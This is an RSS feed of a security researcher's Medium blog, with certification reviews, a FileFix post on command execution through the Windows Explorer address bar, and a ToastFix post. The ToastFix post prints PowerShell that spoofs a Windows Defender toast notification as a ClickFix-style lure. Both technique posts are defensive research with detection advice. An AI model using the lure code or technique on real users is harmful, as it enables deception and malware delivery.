<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xh4lpy on Medium]]></title>
        <description><![CDATA[Stories by 0xh4lpy on Medium]]></description>
        <link>https://medium.com/@0xh4lpy?source=rss-5d9a5820a49c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5bHU4uWBWuCc9DaDuMwnjg.jpeg</url>
            <title>Stories by 0xh4lpy on Medium</title>
            <link>https://medium.com/@0xh4lpy?source=rss-5d9a5820a49c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 16:29:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xh4lpy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox Certified Defensive Security Analyst (CDSA) Review]]></title>
            <link>https://0xh4lpy.medium.com/hackthebox-certified-defensive-security-analyst-cdsa-review-1f7a9e3a1817?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f7a9e3a1817</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Mon, 20 Apr 2026 19:37:36 GMT</pubDate>
            <atom:updated>2026-04-20T19:37:36.700Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently passed the <a href="https://academy.hackthebox.com/preview/certifications/htb-certified-defensive-security-analyst"><strong>HackTheBox Certified Defensive Security Analyst (CDSA) certification</strong></a> and wanted to share my experience with the course content, the exam, and some tips for anyone considering it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MrHH1m8HiyuMzxCEj0Y8og.png" /></figure><h3>Overall Impression</h3><p>CDSA is a strong hands-on certification focused on blue team/defensive security. It is specifically geared towards those in the following fields:</p><ul><li>Entry level Security Analysts / SOC Analysts / Incident Handlers / Forensic Analysts</li><li>Penetration Testers</li><li>IT Administrators / Security Personnel</li></ul><p>I’ve always been a big supporter of the HackTheBox platform and the quality of their content, and this certification is no different. Having completed both offensive and defensive certifications, I found CDSA refreshing for its realistic focus on detection, investigation, and reporting. Overall, it’s a practical, well-structured certification with genuine real-world value.</p><h3>The Course</h3><p>The <a href="https://academy.hackthebox.com/app/paths/390/details">SOC Analyst path</a> provides you with everything you need to know for the exam, comprising <strong>15 modules</strong> and unlocking exam eligibility once completed.</p><p>I’m not going to give a blow-by-blow review of each module, but here are some I found particularly interesting and/or useful for the exam:</p><ul><li><strong>Windows Event Logs &amp; Finding Evil </strong>—<strong> </strong>Introduces Sysmon and Windows Event Logs, and how they can be used to uncover malicious activity.</li><li><strong>Introduction to Threat Hunting &amp; Hunting with Elastic</strong> — Covers foundational threat hunting with Elastic, which is used in the first incident in the exam.</li><li><strong>Introduction to Malware Analysis</strong> — Covers static and dynamic analysis on both Linux and Windows.</li><li><strong>Introduction to Digital Forensics</strong> — Explores both disk and memory forensics, as well as building timelines across diverse data sources.</li><li><strong>Detecting Windows Attacks with Splunk</strong> — Focuses on analysing common Active Directory attacks such as reconnaissance, password spraying, and Kerberos abuse using Splunk.</li><li><strong>Security Incident Reporting</strong>: Critical preparation for writing the final exam report.</li></ul><h3>The Exam Experience</h3><p>The exam is comprised of <strong>two core incidents</strong> which you are tasked with investigating over <strong>7 days</strong>. For the first incident, you must answer <strong>17 out of 20 questions</strong> by submitting the MD5 hash of the flag as the answer. In addition to this, you must submit a full commercial-grade report covering both incidents, including:</p><ul><li>Executive summary</li><li>Full technical analysis</li><li>Timelines</li><li>Indicators of compromise (IoCs)</li></ul><p>I started my exam on a Saturday to give myself the whole weekend to get through as much of the analysis as possible. I also built my report as I investigated each incident and took an excessive amount of screenshots for evidence. I used <a href="https://obsidian.md/">Obsidian</a> for notetaking, structuring my notebook as follows:</p><pre>incident1/<br>    questions.md<br>    notes.md     -&gt; findings, screenshots, Elastic/Splunk searches, and commands used<br>    timeline.md<br>incident2/<br>    notes.md<br>    timeline.md<br>report.md</pre><p>I managed to find <strong>20/20 flags</strong> for the first incident, but unfortunately, due to a combination of life commitments, the day job, and VPN issues, I didn’t finish investigating both incidents until the Thursday evening.</p><p>Thankfully, I had already completed most of the technical analysis because I was documenting everything as I went, so I only needed to polish the report before submitting on Sunday. HackTheBox support also kindly granted a 1-day extension due to the VPN issues.</p><p>After submitting, I only waited <strong>5 days</strong> for results, although it can reportedly take<strong> 18–20 business days</strong> in some cases.</p><p>I then ordered my physical certificate, which arrived just this past weekend:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_gbPFKxGLR7CMD-lx9P6cA.jpeg" /><figcaption>HackTheBox CDSA Physical Rewards (Certificate, Pin, Stickers, and T-Shirt)</figcaption></figure><p>Overall, I’d rate the exam as challenging but fair. The content prepares you well if you complete the modules properly and stay organised throughout. More than anything, the exam rewards good methodology and clear reporting rather than guesswork.</p><h4>Tips for Passing</h4><ol><li>Take good notes, capture screenshots, and write the report as you go.</li><li>Revisit and master the Splunk and Elastic modules — these are vital for the exam.</li><li>If specific attacks are mentioned, refer back to the relevant modules that cover them.</li><li>If you can’t find an answer, move on and come back — sometimes later answers help you reverse engineer earlier ones.</li></ol><h3>Pricing</h3><p>I completed the certification through the <a href="https://help.hackthebox.com/en/articles/13677074-academy-subscriptions">HackTheBox Academy Silver Annual Pass</a>, currently priced at 490 USD / ~360 GBP / ~416 EUR. Alternatively, you can buy a voucher for the exam on its own for 210 USD / ~155 GBP / ~178 EUR. Personally, I think this is very reasonable considering the price of other defensive certifications and the quality of the content included.</p><p>The Silver Pass gives access to the role-based learning paths and includes <strong>two exam vouchers per year</strong> (one additional voucher for the Certified Junior Cybersecurity Associate exam). One of the best parts is that the main voucher can be used for different certifications, so if CDSA isn’t your priority, you could instead choose something like <strong>CPTS</strong> or <strong>CBBH</strong> instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0DU90vTsiZDZB4Q1FyB-nA.png" /><figcaption>HackTheBox Academy Silver and Gold Annual Passes</figcaption></figure><p>For anyone planning to complete multiple paths over time and learn both red and blue team disciplines, it can be a solid option.</p><h3>Final Thoughts and What’s Next?</h3><p>Overall, I had a very positive experience with HackTheBox Academy and the CDSA content. I’ve been a long-time supporter of the platform from back when the focus was almost entirely red team, so it’s great to see them continue building strong blue team content as well.</p><p>I’d recommend CDSA to anyne look to break into DFIR, those already working in a SOC/IR role, or red teamers who want to understand life on the other side. There are no strict prerequisites either, as the modules guide you through everything you need to know.</p><p>As for what’s next, I’m taking a break from certifications for a while and shifting focus toward <a href="https://medium.com/@0xh4lpy">writing more security research</a>. I may look at some foundational AI certs between projects, and possibly <a href="https://maldevacademy.com/">Maldev Academy</a> if time allows.</p><p>Thanks for taking the time to read this review. If you’re considering CDSA and have any questions, feel free to reach out to me on <a href="https://www.linkedin.com/in/liam-halpy/">LinkedIn</a>.</p><p>Hopefully this was useful, and best of luck to anyone taking the exam.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f7a9e3a1817" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ToastFix: Chaining a ClickFix Attack With Toast Notifications]]></title>
            <link>https://0xh4lpy.medium.com/toastfix-chaining-a-clickfix-attack-with-toast-notifications-72082694fef9?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/72082694fef9</guid>
            <category><![CDATA[threat-research]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[social-engineering]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 11:24:09 GMT</pubDate>
            <atom:updated>2026-04-13T09:37:00.688Z</atom:updated>
            <content:encoded><![CDATA[<p>I came across an interesting <a href="https://ipurple.team/2026/03/25/toast-notifications/">article by iPurpleTeam</a>/<a href="https://www.youtube.com/watch?v=wrAFZLa1TAk">video by John Hammond</a> on how to create custom toast notifications on Windows 11. I wanted to take a deeper dive into how this technique works and explore whether it could be chained together with <a href="https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/">ClickFix</a>.</p><h3>Background</h3><p>In Windows, applications are assigned an <strong>A</strong>pplication <strong>U</strong>ser <strong>M</strong>odel <strong>ID</strong>, or <strong>AUIMD</strong>, which is used to identify which apps require various features, including toast notifications.</p><p>The original post by iPurpleTeam explores how toast notifications can be weaponized as part of social engineering attacks, luring victims into believing the behaviour originates from a legitimate application on their system. ClickFix and its many variants use a similar approach, convincing the user that their system or browser has an issue that requires immediate action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M_iaGabvXlzIwQcdsNbF9w.png" /><figcaption>Custom Toast Nofitication using Windows Security/Defender</figcaption></figure><p>This technique adds an additional layer of trust, as the pop-up appears to come from the system itself, either from a pre-installed Windows application or one the user has installed.</p><h3>Demo</h3><p>Below is a lure I created that uses the Win + X → I shortcut to launch an elevated PowerShell prompt from the Quick Link menu introduced in Windows 11. The process that follows is standard ClickFix-style copy-and-paste, but in this case it generates a Windows Defender-themed toast notification. This notification encourages the user to click a link, potentially leading them to install malicious software, continue a fake tech support case, or enter credentials.</p><p>You can try the demo yourself at <a href="https://h4lpy.github.io/">h4lpy.github.io</a> (EDIT: <a href="https://h4lpy.github.io/safe-demo.html">with additional safe user-led version</a>) or download the sourcecode at <a href="https://github.com/h4lpy/toastfix-demo">github.com/h4lpy/toastfix-demo</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zjNi1pmBEv7othkWGGnfWw.gif" /><figcaption>ToastFix Demo</figcaption></figure><p>I’m using a slightly more condensed version than the example provided in the iPurpleTeam article. However, even as a one-liner, it remains fairly large. This is why I opted for the Quick Link menu, as this approach would not work in the Run dialog (Win + R) due to character limits.</p><pre>Add-Type -A System.Runtime.WindowsRuntime<br>[void][Windows.UI.Notifications.ToastNotificationManager,Windows.UI.Notifications,ContentType=WindowsRuntime]<br>[void][Windows.Data.Xml.Dom.XmlDocument,Windows.Data.Xml.Dom.XmlDocument,ContentType=WindowsRuntime]<br>$x=@&quot;<br>&lt;toast&gt;<br> &lt;visual&gt;<br>  &lt;binding template=&quot;ToastGeneric&quot;&gt;<br>   &lt;text&gt;Action Required&lt;/text&gt;<br>   &lt;text&gt;Your device requires a critical security update.&lt;/text&gt;<br>            &lt;text&gt;Click to update.&lt;/text&gt;<br>  &lt;/binding&gt;<br> &lt;/visual&gt;<br> &lt;actions&gt;<br>  &lt;action content=&quot;Update&quot; activationType=&quot;protocol&quot; arguments=&quot;https://h4lpy.github.io/demo.html&quot;/&gt;<br> &lt;/actions&gt;<br>&lt;/toast&gt;<br>&quot;@<br>$d=New-Object Windows.Data.Xml.Dom.XmlDocument<br>$d.LoadXml($x)<br>[Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier(&quot;Windows.Defender.SecurityCenter&quot;).Show([Windows.UI.Notifications.ToastNotification]::new($d))</pre><h3>Detection Opportunities</h3><p>I won’t go into a deep dive on detection here, so I’d encourage you to read the iPurpleTeam blog for more detail. In summary:</p><h4>Sysmon:</h4><ul><li><strong>Event ID 1 (Process Create)</strong>: Monitor for any suspicious command-line activity</li><li><strong>Event ID 7 (Image Loaded)</strong>: Monitor for unusual attempts to load wpnapps.dll (handles toast notifications for apps) and msxml6.dll (XML schema parsing)</li><li><strong>Event ID 13 (Registry Value Set)</strong>: In path HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings for keys LastNotificationAddedTime (timestamp of last notification added) and PeriodicNotificationCount (count of recurring notifications)</li></ul><h4>WinEvent Logs (Microsoft-Windows-PushNotifications-Platform)</h4><ul><li><strong>Event ID 2416</strong>: Notification received</li><li><strong>Event ID 2418</strong>: Notification displayed</li><li><strong>Event ID 3052</strong>: Notification updated/refreshed</li><li><strong>Event ID 3153</strong>: Notification dismissed/removed</li></ul><h3>Summary</h3><p>This work explores the feasibility of chaining ClickFix-style social engineering with malicious use of Windows toast notifications. By abusing AUMIDs and the Windows Notifications API, adversaries can present highly convincing prompts under the guise of legitimate system applications. This method enhances credibility and user engagement, but introduces observable telemetry across Sysmon and Windows event logs. As such, it represents a low-complexity, moderate-impact technique with clear detection opportunities.</p><h3>References</h3><p><strong>[1]</strong> iPurple.Team Article: <a href="https://ipurple.team/2026/03/25/toast-notifications/"><em>Toast Notifications</em></a></p><p><strong>[2]</strong> John Hammond (YT): <a href="https://www.youtube.com/watch?v=wrAFZLa1TAk"><em>Hackers make FAKE notifications</em></a></p><p><strong>[3]</strong> ToastFix Demo: <a href="https://h4lpy.github.io/"><em>https://h4lpy.github.io/</em></a></p><p><strong>[4]</strong> ToastFix Sourcecode: <a href="https://github.com/h4lpy/toastfix-demo"><em>https://github.com/h4lpy/toastfix-demo</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72082694fef9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FileFix: Abuse of Windows Explorer]]></title>
            <link>https://0xh4lpy.medium.com/filefix-abuse-of-windows-explorer-f9b5d37c307e?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9b5d37c307e</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Sat, 12 Jul 2025 09:43:19 GMT</pubDate>
            <atom:updated>2025-07-14T17:52:23.721Z</atom:updated>
            <content:encoded><![CDATA[<p>Inspired by <a href="https://mrd0x.com/filefix-clickfix-alternative/">mr.d0x’s blog post on <strong><em>FileFix</em></strong></a> — new alternative to <a href="https://krebsonsecurity.com/2025/03/clickfix-how-to-infect-your-pc-in-three-easy-steps/">ClickFix</a> that leverages the Windows Explorer for command execution instead of the Run dialog) — I decided to explore the techniques presented and share insights defenders can use to better understand and respond to this tactic.</p><p>Due to its simplicity and reliance on a commonly used Windows utility, this technique is likely to be adopted by threat actor, particularly because the Windows Explorer is far more familiar and frequently used by end users in comparison to the Run dialog.</p><h4>Summary of FileFix</h4><p>Unlike traditional ClickFix, which relies on social engineering users into executing via the Run dialog (Win+R), FileFix abuses the Windows Explorer address bar as an execution vector.</p><p>Within HTML forms, attackers can specify an input field which allows the user to select a file, opening the Windows Explorer from the browser:</p><pre>&lt;input type=&quot;file&quot; /&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*4qejznfj2ovl5p-Lq0fdgQ.png" /><figcaption>Command execution via Windows Explorer address bar</figcaption></figure><p>In this method, an attacker convinces a user to enter a crafted command masquerading as a legitimate file path, which can be used to stage and load malware.</p><p>As we see with ClickFix, the attacker may guide the user to open Windows Explorer using shortcuts Win+O, and then select the address using either Alt+D or Ctrl+L, before executing the desired command.</p><h4>Live Demo</h4><p>I’ve put together a quick FileFix scenario on <a href="https://h4lpy.github.io/">my GitHub page</a> if you’d like to test it out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4rm6djmmYsFZHhHYc1h5Q.gif" /><figcaption>FileFix Demo: <a href="https://h4lpy.github.io/">https://h4lpy.github.io/</a></figcaption></figure><h4>An Insight on Variants and Detections</h4><p>As this technique takes place within the web browser, monitoring for suspicious child processes, one reliable detection method is to monitor for <strong>suspicious child processes</strong> spawned from Chrome/Firefox/Edge. If you observe these browsers spawning processes like cmd.exe, powershell.exe, or mshta.exe, that’s a strong indication of malicious activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*5fz4iNzVtoCmmsp37ea1Xg.png" /><figcaption>FileFix: Process Explorer showing suspicious child processes from chrome.exe</figcaption></figure><p>Interestingly, in the Chrome example above, the process doesn’t spawn from a sandboxed context — it originates from a Chrome processes running at medium integrity level, meaning it inherits the user’s permissions and can interact more freely with the system.</p><p>Another useful forensic artifact is the TypedPaths registry key, which stores the <a href="https://forensafe.com/blogs/typedpaths.html">last 25 paths</a> typed into the Explorer address bar. This can help identify suspicious command string executed via the FileFix technique:</p><pre>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths</pre><p>However, there are two important limitations to keep in mind. First, the TypedPaths registry key is only updated when the corresponding Explorer window is closed; if the window remains open, the command won’t be committed to the registry. Second, only commands entered into Explorer instances launched by the browser (such as through an &lt;input type=&quot;file&quot;&gt; element) are captured. If a user opens Explorer directly, such as through the Start Menu or Win+E, commands typed into the address bar will not appear in this registry key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uXW0NMBStIgWkme-keqfOQ.png" /><figcaption>TypedPaths registry key contents</figcaption></figure><p>An interesting detail noted in <a href="https://mrd0x.com/filefix-clickfix-alternative/">mr.d0x’s post</a>: any executable run through the Windows Explorer address bar loses its <a href="https://en.wikipedia.org/wiki/Mark_of_the_Web">Mark of the Web (MoTW)</a>. MoTW is an alternate data stream applied to downloaded files, marking them as coming from an external source. Without it, Windows may treat the file as trusted like a generic binary on the system, therefore bypassing Microsoft Defender SmartScreen, or other security mechanisms.</p><p>For example, an attacker could convince a user into downloading badfile.exe to %USERPROFILE%\Downloads\, then run it via the Explorer address bar through the FileFix technique. This would avoid both MoTW restrictions and — avoiding both MoTW-based restrictions and common detection rules for Run dialog usage. Given that this variant requires both a download and a manual command entry, the pretext must be more convincing. We may see existing ClickFix-style lures — such as <a href="https://keepaware.com/blog/clickfix-the-what-why-where-and-how-of-it-all">fake browser updates</a> — evolve to incorporate FileFix for more effective execution.</p><p>Another variant, dubbed <a href="https://redteamer.tips/bring-your-own-fix">DownloadFix</a> by <a href="https://x.com/Jean_Maes_1994/status/1937239703167643690">Jean_Maes_1994</a>, uses a broken/incomplete download to prompt the user to manually execute a .cmd file through the browser’s Downloads shortcut (Ctrl+J). Like the variants presented, it relies on user interaction with a trusted UI element, increasing its social engineering effectiveness.</p><p>Fortunately, Microsoft Defender (and Defender 365) includes a signature designed specifically to catch FileFix-style payloads and behaviour:</p><blockquote><a href="https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/FileFix.DC!MTB">Trojan:HTML/FileFix.DSK!ams</a>.</blockquote><h4>Conclusion</h4><p>FileFix is a clever evolution of the already effective ClickFix method. By sidestepping traditional execution paths like the Run dialog, it can evade common detection mechanisms.</p><p>Defenders should:</p><ul><li>Monitor for browser-spawned child processes, such as cmd.exe, powershell.exe, and similar utilities.</li><li>Ensure Microsoft Defender and other endpoint protection suites are up-to-date.</li><li>Incorporate these techniques into user awareness and simulated phishing exercises.</li></ul><p>Thanks for reading :)</p><h4>Resources</h4><p><strong>[1]</strong> <a href="https://h4lpy.github.io/">FileFix Demo: https://h4lpy.github.io/</a></p><p><strong>[2]</strong> <a href="https://mrd0x.com/filefix-clickfix-alternative/">mr.d0x: <em>FileFix — A ClickFix Alternative</em></a></p><p><strong>[3]</strong> <a href="https://redteamer.tips/bring-your-own-fix">Jean-Francoise Maes: <em>Bring your own Fix — Mr.D0x inspired variation of yet another “fix” attack</em></a></p><p><strong>[4]</strong> Microsoft: <a href="https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/FileFix.DC!MTB"><em>FileFix Threat (Trojan:HTML/FileFix.DSK!ams)</em></a></p><p><a href="https://forensafe.com/blogs/typedpaths.html"><strong>[5]</strong> Forensafe: <em>Investigati</em></a><em>ng Typed Paths</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9b5d37c307e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Experience: SANS FOR508 / GCFA]]></title>
            <link>https://0xh4lpy.medium.com/my-experience-sans-for508-gcfa-12464fc8783a?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/12464fc8783a</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[san]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[indexing]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Sun, 18 May 2025 07:03:00 GMT</pubDate>
            <atom:updated>2025-06-14T10:28:51.307Z</atom:updated>
            <content:encoded><![CDATA[<p>In December last year, I achieved the <a href="https://www.giac.org/certifications/certified-forensic-analyst-gcfa/">SANS GIAC Certified Forensic Analyst (GCFA)</a> certification following the completion of the <a href="https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/">FOR508 Advanced Incident Response, Threat Hunting, and Digital Forensics</a> course. This was my first experience with a SANS course.</p><p>While I already had a solid background in single-host digital forensics, I opted for this course to expand my capabilities to investigations across an enterprise network — something that is increasingly relevant in modern threat landscapes.</p><p>Here is a short article about my experience with the course and exam, my study approach, and my recommendations should you decide to go for this course (or any SANS offering).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*kzFuWqLoqN2vv085AqhxBw.png" /><figcaption>Non Potestis Celare (“You Cannot Hide”)</figcaption></figure><h3>The Course</h3><p>After speaking with a few colleagues on their SANS experiences, I opted for the Live Online version which comprised five days of guided study led by a SANS instructor going through each of the five books for the course followed by the final challenge, a CTF-style event which tests the knowledge gained throughout the week to build the overall picture of the intrusion you had been working on investigating throughout the week.</p><p>A summary of the five books and final challenge are detailed in the following section — a complete syllabus can be found <a href="https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blta86bb63a75a74f12/672222b99e52b6132429fb6e/SANS_Institute_FOR508_Brochure.pdf">here</a> or on the <a href="https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/">FOR508 course page</a>.</p><h4>Book 1 — Advanced Incident Response &amp; Threat Hunting</h4><p>Overview of the course content and introduces various concepts across incident response, threat hunting, and digital forensics. This book also covers adversary behaviour discussing common techniques threat actors employ to hide malware, use native tooling (LOLBin/LOLBas), and establish persistence on a system as an elevated user.</p><h4>Book 2 — Intrusion Analysis</h4><p>Building from the malicious techniques discussed previously, book 2 takes a deeper look at , including lateral movement, credential theft and abuse, and malicious use of WMI and PowerShell. This book is split between analysing Windows artifcats like Prefetch and Amcache for evidence of execution, and analysing pertinent Windows logs for various attack types, such as network share misuse and credential bruteforce.</p><h4>Book 3 — Memory Forensics in Incident Response &amp; Threat Hunting</h4><p>This is a technical deep-dive in performing memory forensics on Windows-based systems detailing how to acquire and analyse forensically valuable artifacts, such as hiberfil.sys, to detect attacks discussed in book 2, through the use of Volatility, MemProcFS and Velociraptor. Importantly, this book teaches you how to interpret results from these tools to understand the overall attack.</p><h4>Book 4 — Timeline Analysis</h4><p>This book is a culmination of the analysis up to this point and guides you through various techniques to produce and analyse timelines. It introduces a number of crucial concepts including Windows time rules and the MACB timestamp, as well as the tools to use for timeline creation, including log2timeline/plaso.</p><h4>Book 5 — Advanced Adversary &amp; Anti-Forensics Detection</h4><p>Finally, the course concludes with a deep-dive into techniques used by adversaries to disrupt forensic analysis and incident response from use of alternate data streams to hide malware to disk wiping toolkits. This book provides an advanced view of the Windows NTFS file system to be able to detect the use of these techniques and recover valuable artifacts for an investigation.</p><h4>Final Challenge</h4><p>The final challenge is to apply the same host-based forensics skills gained throughout the week to the rest of the systems within the enterprise network which you are investigating. If you do the live online version of the course, this is a team-based exercise where you will compete for the FOR508 challenge coin.</p><p>Over the course of 4 hours, we were tasked with analysing artifacts from a network of hosts to piece together what had happened and present it to the instructor. Our team did pretty well and covered most of the pertinent details but narrowly missed out on the coin. Regardless, it was a highly engaging and provided valuable experience in getting up to speed on a severe cyber intrusion.</p><h3>Studying + Practice Exams</h3><p>With this being my first SANS course, I searchd online for study tips and found the <a href="https://tisiphone.net/2015/08/18/giac-testing/">Better GIAC Testing with Pancakes</a> guide. I followed its advice on color-coding, dedicating one week per book to create a detailed index for use in the exam. In reality, books 1 and 2 took me over a month to complete due to the number of key concepts and definitions but managed to stay on scheduled for books 3 to 5.</p><p>The amount of time I spent on making my first index paid off as I passed my first practice exam with 80%. However, I was very tight for time and had to rush through the last of the practical questions. For the second practice test, I made a separate alphabetical index for terms and concepts and a separate sheet for each tool and plugin for quicker lookups. This I felt was a much better solution rather than my main index and achieved a 92% score in the second practice test.</p><h3>The Final Boss — GCFA Exam</h3><p>The exam features 82 multiple-choice questions, 8 of which are practical and a pass mark of 71%. The exam is also proctored and you have the option to do it from your home or from an approved test centre. If you opt for the former (I did), you will be asked to install a separate browser, turn off additional monitors, and show the proctor your room and study materials before you are allowed to begin.</p><p>My exam experience was smooth — no software issues, despite online reviews. I completed all theory-based questions in 1 hour 30 minutes giving me plenty of time for the practical questions. I completed the exam in just over 2 hours with a score of 89% — I had passed!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*ucsybavCJyVN3cVI1fgXpw.png" /></figure><h3>My Tips and Recommendations</h3><h4>Tip 1 — Choose Live Online</h4><p>If you get the opportunity to do so, I would highly recommend the live online version of the course. I felt I gained a much deeper understanding of the course content through interaction with the SANS instructor than I would have if it were just self-paced through the On Demand version.</p><p>This is especially true if you have a limited background in DFIR / threat hunting as the course almost assumes you know how to carry out basic host-based investigations (see <a href="https://www.sans.org/cyber-security-courses/windows-forensic-analysis/">FOR500</a> for more).</p><h4><strong>Tip 2 — Do the labs!</strong> And do them again, and again…</h4><p>This is a very technical course and showcases a lot of advanced techniques both on the adversary and defensive side. The labs are excellent at distilling that content and will allow you to create quick step-by-step cheatsheets for the various tools you come across.</p><p>The labs throughout the week are also focused on a subset of the compromised machines within the network. Doing the labs and taking good notes will help you find pivot points for the final challenge.</p><h4>Tip 3 — Make Your Index Before Practice Exams</h4><p>This may seem like an obvious one but don’t use the practice exams as a benchmark before you write your index. This course is massive and you won’t be able to remember everything — there is a reason it is open book.</p><h4>Tip 4 — Use an Alphabetical Index</h4><p>This may seem excessive to some SANS veterans but I mainly used my alphabetical index throughout the final exam. While an index for each book was useful for general concepts, I found it quicker to use my alphabetical index to search for a tool, definition, or concept in the question.</p><h4>Tip 5 — Use Your Time Wisely</h4><p>It is important you keep enough time for the practical questions at the end (8 in total) as they will be worth more than a single multiple choice question. Make sure you spare at least 45 minutes to tackle these questions.</p><h4>Tip 6 — Prerequisite Knowledge</h4><p>FOR508 is a very challenging course, especially if you’re new to digital forensics or threat hunting. The course assumes a working knowledge of core forensic concepts and Windows internals. If you’re coming in fresh, I recommend watching any of <a href="https://www.youtube.com/channel/UCy8ntxFEudOCRZYT1f7ya9Q">13Cubed’s</a> videos on YouTube, particularly “<a href="https://www.youtube.com/watch?v=VYROU-ZwZX8&amp;list=PLlv3b9B16ZadqDQH0lTRO4kqn2P1g9Mve&amp;themeRefresh=1"><em>Introduction to Windows Forensics</em></a>”. His content is clear, practical, and will provide you with a strong foundation to succeed in FOR508.</p><h3>Summary and What’s Next?</h3><p>Overall, I had a great experience with both the course and exam and would recommend it to anyone in any of the applicable roles which the course covers. It’s a demanding but highly rewarding course that prepares you to investigate and respond to enterprise-level threats with confidence.</p><p>If I get another opportunity to take a SANS course, I would consider:</p><ul><li><a href="https://www.sans.org/cyber-security-courses/enterprise-cloud-forensics-incident-response/">FOR509 Enterprise Cloud Forensics and Incident Response</a> / <a href="https://www.giac.org/certifications/cloud-forensics-responder-gcfr/">GIAC Cloud Forensics Responder (GCFR)</a></li><li><a href="https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/">FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques</a> / <a href="https://www.giac.org/certifications/reverse-engineering-malware-grem/">GIAC Reverse Engineering Malware (GREM)</a></li></ul><h4>Other Resources</h4><ul><li><a href="https://tisiphone.net/2015/08/18/giac-testing/">Better GIAC Testing with Pancakes Guide</a></li><li><a href="https://www.youtube.com/channel/UCy8ntxFEudOCRZYT1f7ya9Q">13Cubed @ YouTube</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12464fc8783a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ancient Fossil Writeup | Huntress CTF 2024]]></title>
            <link>https://0xh4lpy.medium.com/ancient-fossil-writeup-huntress-ctf-2024-a9a507bbf5e4?source=rss-5d9a5820a49c------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9a507bbf5e4</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xh4lpy]]></dc:creator>
            <pubDate>Fri, 01 Nov 2024 19:01:20 GMT</pubDate>
            <atom:updated>2024-11-01T19:01:20.103Z</atom:updated>
